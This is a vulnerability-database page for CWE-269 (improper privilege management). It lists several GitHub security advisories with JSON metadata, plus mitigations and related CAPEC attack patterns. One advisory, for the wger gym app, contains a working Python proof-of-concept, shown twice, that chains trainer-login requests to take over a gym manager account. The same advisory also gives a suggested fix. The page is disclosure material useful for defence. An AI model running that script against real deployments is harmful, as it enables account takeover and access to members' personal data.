CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
5655 vulnerabilities reference this CWE, most recent first.
GHSA-9QC3-99WR-X835
Vulnerability from github – Published: 2022-02-21 00:00 – Updated: 2022-04-14 00:00Pritunl Client through 1.2.3019.52 on Windows allows local privilege escalation, related to an ACL entry for CREATOR OWNER in platform_windows.go.
{
"affected": [],
"aliases": [
"CVE-2022-25372"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-20T20:15:00Z",
"severity": "HIGH"
},
"details": "Pritunl Client through 1.2.3019.52 on Windows allows local privilege escalation, related to an ACL entry for CREATOR OWNER in platform_windows.go.",
"id": "GHSA-9qc3-99wr-x835",
"modified": "2022-04-14T00:00:57Z",
"published": "2022-02-21T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25372"
},
{
"type": "WEB",
"url": "https://github.com/pritunl/pritunl-client-electron/commit/e16d47437f8ef62546aa00edb0d64be2a7d2205b"
},
{
"type": "WEB",
"url": "https://github.com/pritunl/pritunl-client-electron/blob/caa78d626198b6961f3f39eca2acd39064c2df96/CHANGES#L6"
},
{
"type": "WEB",
"url": "https://rhinosecuritylabs.com/penetration-testing/cve-2022-25372-local-privilege-escalation-in-pritunl-vpn-client"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QGM-VW7V-R25R
Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-11-03 21:34A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26. An app may be able to gain root privileges.
{
"affected": [],
"aliases": [
"CVE-2025-43333"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T23:15:36Z",
"severity": "HIGH"
},
"details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26. An app may be able to gain root privileges.",
"id": "GHSA-9qgm-vw7v-r25r",
"modified": "2025-11-03T21:34:32Z",
"published": "2025-09-16T00:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43333"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125110"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Sep/53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QJ5-FXQG-6G9P
Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2024-04-22 18:30A flaw was found in the way samba handled file and directory permissions. An authenticated user could use this flaw to gain access to certain file and directory information which otherwise would be unavailable to the attacker.
{
"affected": [],
"aliases": [
"CVE-2020-14318"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-03T16:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the way samba handled file and directory permissions. An authenticated user could use this flaw to gain access to certain file and directory information which otherwise would be unavailable to the attacker.",
"id": "GHSA-9qj5-fxqg-6g9p",
"modified": "2024-04-22T18:30:46Z",
"published": "2022-05-24T17:35:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14318"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1892631"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00015.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202012-24"
},
{
"type": "WEB",
"url": "https://www.samba.org/samba/security/CVE-2020-14318.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9QPR-VC49-HQG2
Vulnerability from github – Published: 2026-05-14 16:16 – Updated: 2026-05-14 16:16Summary
A gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag trainer.identity
is set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.
Details
In wger/core/views/user.py lines 169–178, the permission check uses an AND condition:
# Line 169 — passes if EITHER condition is false
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
# Line 173 — only runs when current user IS a trainer, not when identity is inherited
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.manage_gym') or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
After hop 1 (trainer → regular user), request.user is the regular user who has no gym_trainer permission, but session['trainer.identity'] is set. Line 169 evaluates:
not False AND not False → the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.
PoC
Requirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.
import requests
BASE = 'http://localhost:80'
s = requests.Session()
def whoami():
r = s.get(f'{BASE}/api/v2/userprofile/',
headers={'Accept': 'application/json'})
return r.json().get('username')
# ─────────────────────────────────────────────
print("=" * 55)
print(" PoC: Trainer Login Privilege Escalation")
print(" wger/core/views/user.py:169")
print("=" * 55)
# ─── STEP 1: Normal login as gym trainer ─────
print("\n[STEP 1] Login as 'trainer1'")
print(" trainer1 has ONLY 'gym.gym_trainer' permission")
s.get(f'{BASE}/en/user/login')
s.post(f'{BASE}/en/user/login', data={
'username': 'trainer1',
'password': 'pass1234',
'csrfmiddlewaretoken': s.cookies['csrftoken'],
})
print(f" Current user : {whoami()}")
print(f" Permission : gym.gym_trainer (NOT manage_gym)")
# ─── STEP 2: Legitimate trainer-login ────────
print("\n[STEP 2] trainer1 uses trainer-login to switch into 'regular1' (pk=4)")
print(" This is ALLOWED — trainer1 has gym_trainer permission")
print(" Side effect: session['trainer.identity'] = trainer1_pk")
s.get(f'{BASE}/en/user/4/trainer-login')
print(f" Current user : {whoami()}")
print(f" Session flag : trainer.identity is now SET")
# ─── STEP 3: EXPLOIT ─────────────────────────
print("\n[STEP 3] EXPLOIT — now as 'regular1', call trainer-login for 'manager1' (pk=3)")
print(" regular1 has ZERO permissions")
print(" BUT session['trainer.identity'] is set from Step 2")
print(" Line 169 check: `not has_perm() AND not session.get()` → BYPASSED")
s.get(f'{BASE}/en/user/3/trainer-login')
result = whoami()
print(f" Current user : {result}")
# ─── RESULT ──────────────────────────────────
print("\n" + "=" * 55)
if result == 'manager1':
print(" RESULT : !! VULNERABLE !!")
print(" trainer1 (gym_trainer) is now logged in as manager1")
print(" manager1 has 'gym.manage_gym' — full gym admin access")
else:
print(" RESULT : Not vulnerable (got: " + result + ")")
print("=" * 55)
Output on wger 2.5.0a2:
Impact
Any authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers' and managers' personal information.
How to fix
The root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session['trainer.identity'] is set, the entire permission check is skipped — allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.
Vulnerable code (user.py:169–178):
if not request.user.has_perm('gym.gym_trainer') and not request.session.get('trainer.identity'):
return HttpResponseForbidden()
if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Suggested fix:
trainer_identity_pk = request.session.get('trainer.identity')
if not request.user.has_perm('gym.gym_trainer'):
if not trainer_identity_pk:
return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
if not original_trainer.has_perm('gym.gym_trainer'):
return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43978"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:16:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity`\nis set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.\n\n### Details\nIn `wger/core/views/user.py` lines 169\u2013178, the permission check uses an AND condition:\n\n```python\n# Line 169 \u2014 passes if EITHER condition is false\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\n# Line 173 \u2014 only runs when current user IS a trainer, not when identity is inherited\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.manage_gym\u0027) or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nAfter hop 1 (trainer \u2192 regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session[\u0027trainer.identity\u0027]` is set. Line 169 evaluates:\n`not False AND not False` \u2192 the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.\n\n\n### PoC\nRequirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.\n\n```python\nimport requests\n\nBASE = \u0027http://localhost:80\u0027\ns = requests.Session()\n\ndef whoami():\n r = s.get(f\u0027{BASE}/api/v2/userprofile/\u0027,\n headers={\u0027Accept\u0027: \u0027application/json\u0027})\n return r.json().get(\u0027username\u0027)\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"=\" * 55)\nprint(\" PoC: Trainer Login Privilege Escalation\")\nprint(\" wger/core/views/user.py:169\")\nprint(\"=\" * 55)\n\n# \u2500\u2500\u2500 STEP 1: Normal login as gym trainer \u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 1] Login as \u0027trainer1\u0027\")\nprint(\" trainer1 has ONLY \u0027gym.gym_trainer\u0027 permission\")\n\ns.get(f\u0027{BASE}/en/user/login\u0027)\ns.post(f\u0027{BASE}/en/user/login\u0027, data={\n \u0027username\u0027: \u0027trainer1\u0027,\n \u0027password\u0027: \u0027pass1234\u0027,\n \u0027csrfmiddlewaretoken\u0027: s.cookies[\u0027csrftoken\u0027],\n})\nprint(f\" Current user : {whoami()}\")\nprint(f\" Permission : gym.gym_trainer (NOT manage_gym)\")\n\n# \u2500\u2500\u2500 STEP 2: Legitimate trainer-login \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 2] trainer1 uses trainer-login to switch into \u0027regular1\u0027 (pk=4)\")\nprint(\" This is ALLOWED \u2014 trainer1 has gym_trainer permission\")\nprint(\" Side effect: session[\u0027trainer.identity\u0027] = trainer1_pk\")\n\ns.get(f\u0027{BASE}/en/user/4/trainer-login\u0027)\nprint(f\" Current user : {whoami()}\")\nprint(f\" Session flag : trainer.identity is now SET\")\n\n# \u2500\u2500\u2500 STEP 3: EXPLOIT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 3] EXPLOIT \u2014 now as \u0027regular1\u0027, call trainer-login for \u0027manager1\u0027 (pk=3)\")\nprint(\" regular1 has ZERO permissions\")\nprint(\" BUT session[\u0027trainer.identity\u0027] is set from Step 2\")\nprint(\" Line 169 check: `not has_perm() AND not session.get()` \u2192 BYPASSED\")\n\ns.get(f\u0027{BASE}/en/user/3/trainer-login\u0027)\nresult = whoami()\nprint(f\" Current user : {result}\")\n\n# \u2500\u2500\u2500 RESULT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n\" + \"=\" * 55)\nif result == \u0027manager1\u0027:\n print(\" RESULT : !! VULNERABLE !!\")\n print(\" trainer1 (gym_trainer) is now logged in as manager1\")\n print(\" manager1 has \u0027gym.manage_gym\u0027 \u2014 full gym admin access\")\nelse:\n print(\" RESULT : Not vulnerable (got: \" + result + \")\")\nprint(\"=\" * 55)\n```\n\nOutput on wger 2.5.0a2:\n\n\u003cimg width=\"728\" height=\"628\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5\" /\u003e\n\n### Impact\nAny authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information.\n\n### How to fix\n\nThe root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session[\u0027trainer.identity\u0027] is set, the entire permission check is skipped \u2014 allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.\n\nVulnerable code (user.py:169\u2013178):\n\n```\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nSuggested fix:\n\n```\ntrainer_identity_pk = request.session.get(\u0027trainer.identity\u0027)\n\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027):\n if not trainer_identity_pk:\n return HttpResponseForbidden()\n # Verify the original trainer in the session still holds the permission\n original_trainer = get_object_or_404(User, pk=trainer_identity_pk)\n if not original_trainer.has_perm(\u0027gym.gym_trainer\u0027):\n return HttpResponseForbidden()\n\n# Target-user check must apply in both direct and chained hop scenarios\nif (request.user.has_perm(\u0027gym.gym_trainer\u0027) or trainer_identity_pk) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```",
"id": "GHSA-9qpr-vc49-hqg2",
"modified": "2026-05-14T16:16:30Z",
"published": "2026-05-14T16:16:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager"
}
GHSA-9QQ7-77WV-996X
Vulnerability from github – Published: 2022-01-15 00:01 – Updated: 2022-07-13 00:01In sendLegacyVoicemailNotification of LegacyModeSmsHandler.java, there is a possible permissions bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-9Android ID: A-185126319
{
"affected": [],
"aliases": [
"CVE-2021-39621"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-14T20:15:00Z",
"severity": "HIGH"
},
"details": "In sendLegacyVoicemailNotification of LegacyModeSmsHandler.java, there is a possible permissions bypass due to an unsafe PendingIntent. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-9Android ID: A-185126319",
"id": "GHSA-9qq7-77wv-996x",
"modified": "2022-07-13T00:01:37Z",
"published": "2022-01-15T00:01:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39621"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2022-01-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9QVM-6H84-98C2
Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2022-05-24 17:19An elevation of privilege vulnerability exists in the Windows Installer when the Windows Installer fails to properly sanitize input leading to an insecure library loading behavior.A locally authenticated attacker could run arbitrary code with elevated system privileges, aka 'Windows Installer Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-1277, CVE-2020-1302, CVE-2020-1312.
{
"affected": [],
"aliases": [
"CVE-2020-1272"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-09T20:15:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability exists in the Windows Installer when the Windows Installer fails to properly sanitize input leading to an insecure library loading behavior.A locally authenticated attacker could run arbitrary code with elevated system privileges, aka \u0027Windows Installer Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-1277, CVE-2020-1302, CVE-2020-1312.",
"id": "GHSA-9qvm-6h84-98c2",
"modified": "2022-05-24T17:19:55Z",
"published": "2022-05-24T17:19:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1272"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1272"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9QVW-92R9-H632
Vulnerability from github – Published: 2026-07-11 02:32 – Updated: 2026-07-11 02:32The WP Grid Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.3.3. This is due to missing authorization and meta key validation in the update() handler for the /wp-json/wpgb/v2/metadata REST endpoint. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to Administrator by updating their own wp_capabilities user meta with a crafted nested array payload.
{
"affected": [],
"aliases": [
"CVE-2026-13756"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-11T02:16:17Z",
"severity": "HIGH"
},
"details": "The WP Grid Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.3.3. This is due to missing authorization and meta key validation in the `update()` handler for the `/wp-json/wpgb/v2/metadata` REST endpoint. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to Administrator by updating their own `wp_capabilities` user meta with a crafted nested array payload.",
"id": "GHSA-9qvw-92r9-h632",
"modified": "2026-07-11T02:32:45Z",
"published": "2026-07-11T02:32:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13756"
},
{
"type": "WEB",
"url": "https://docs.wpgridbuilder.com/changelog"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6a42e0e8-a8c7-4bc5-80ca-5ef69d1f0b6c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9R49-QJRV-QPW8
Vulnerability from github – Published: 2022-05-24 22:28 – Updated: 2022-05-24 22:28Improper access control in PCIe function for the Intel® FPGA Programmable Acceleration Card N3000, all versions, may allow a privileged user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2019-14626"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-03-12T18:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control in PCIe function for the Intel\u00ae FPGA Programmable Acceleration Card N3000, all versions, may allow a privileged user to potentially enable escalation of privilege via local access.",
"id": "GHSA-9r49-qjrv-qpw8",
"modified": "2022-05-24T22:28:31Z",
"published": "2022-05-24T22:28:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14626"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00319.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9R9Q-WJ4F-283M
Vulnerability from github – Published: 2025-03-05 12:31 – Updated: 2025-03-05 12:31The Homey Login Register plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 2.4.0. This is due to the plugin allowing users who are registering new accounts to set their own role. This makes it possible for unauthenticated attackers to gain elevated privileges by creating an account with the administrator role.
{
"affected": [],
"aliases": [
"CVE-2024-11951"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-05T12:15:34Z",
"severity": "CRITICAL"
},
"details": "The Homey Login Register plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 2.4.0. This is due to the plugin allowing users who are registering new accounts to set their own role. This makes it possible for unauthenticated attackers to gain elevated privileges by creating an account with the administrator role.",
"id": "GHSA-9r9q-wj4f-283m",
"modified": "2025-03-05T12:31:12Z",
"published": "2025-03-05T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11951"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/homey-booking-wordpress-theme/23338013"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/67c4066f-b8bc-4cd0-ae47-844af23e003f?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9RF5-WGJG-PFV4
Vulnerability from github – Published: 2022-01-04 00:00 – Updated: 2022-01-14 00:03Phone Manager application has a Improper Privilege Management vulnerability.Successful exploitation of this vulnerability may read and write arbitrary files by tampering with Phone Manager notifications.
{
"affected": [],
"aliases": [
"CVE-2021-39982"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-03T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Phone Manager application has a Improper Privilege Management vulnerability.Successful exploitation of this vulnerability may read and write arbitrary files by tampering with Phone Manager notifications.",
"id": "GHSA-9rf5-wgjg-pfv4",
"modified": "2022-01-14T00:03:17Z",
"published": "2022-01-04T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39982"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202110-0000001162998526"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.